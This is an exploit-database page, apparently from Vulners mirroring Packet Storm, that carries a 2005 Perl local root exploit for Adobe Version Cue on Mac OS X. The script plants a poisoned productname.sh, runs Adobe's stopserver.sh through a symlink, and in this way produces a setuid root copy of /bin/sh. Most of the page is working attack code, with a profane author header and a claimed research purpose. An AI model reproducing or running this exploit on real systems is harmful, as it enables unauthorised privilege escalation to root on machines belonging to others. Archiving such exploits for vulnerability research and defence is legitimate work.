Lucene search
K

un_0wnz_macue.txt

🗓️ 22 Feb 2005 00:00:00Reported by unl0ckType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 15 Views

Local root exploit for Adobe Cue on Mac OS X, intended for research and challenges only.

Code
`#!/usr/bin/perl -w  
#  
#####by unl0ck-[0xdeadababe]  
#[http://unl0ck.void.ru]  
#[http://0xdeadbabe.blackhatz.info]  
#-------------------------------------------------  
#Only for challenge :) and Researche pruproses.  
#####Distribution:  
#-------------------------------------------------  
#It's a fuck public code , not private.  
#Fuck off trade bitchez.  
#-------------------------------------------------  
#####Appendix:  
#-------------------------------------------------  
#Mac OS X - Adobe Version Cue local root exploit  
#it's a very lame exploit for Adobe Cue.  
#-------------------------------------------------  
#  
  
if (@ARGV < 1)  
{  
print q(==========  
[Mac OS X - Adobe Version Cue local root exploit]  
USES: ./un_0wnz_macue.pl /path/to\ /yours/\ Adobe\ Cue/  
--- by unl0ck-[0xdeadbabe] ---  
==========  
);  
exit;  
}  
  
$path = $ARGV[1];  
  
print "[~] Your current id is:\n";  
  
system "id";  
  
print "[~] Poisoning productname.sh...\n";  
  
system('echo "cp /bin/sh /Users/$USER;chmod 4755 /Users/$USER/sh;chown root /Users/$USER/sh" > productname.sh') == 0 or die "[-] Not writeble dir.";  
  
print "[~] Setting execute permission to poisoned script...\n";  
  
system("chmod 0755 ./productname.sh") == 0 or die "[-] Productname.sh here not found.";  
  
print "[~] Copy here stopserver.sh script...\n";  
  
system("ln -s $path/stopserver.sh")== 0 or die "Can not copy stopserver.sh from Adobe Cue path.";  
  
print "[~] Running the copyed stopserver.sh...\n";  
  
system("./stopserver.sh")== 0 or die "Can not Run stopserver.sh.";  
  
print "[!] Preloading r00t-shell for you..\n";  
  
system ("./sh")== 0 or die "Can not preload suid-shell";  
  
print '[+] Exploited. See to euid ;):';  
  
print "\n";  
  
system "id";  
  
exit();  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

22 Feb 2005 00:00Current
7.4High risk
Vulners AI Score7.4
15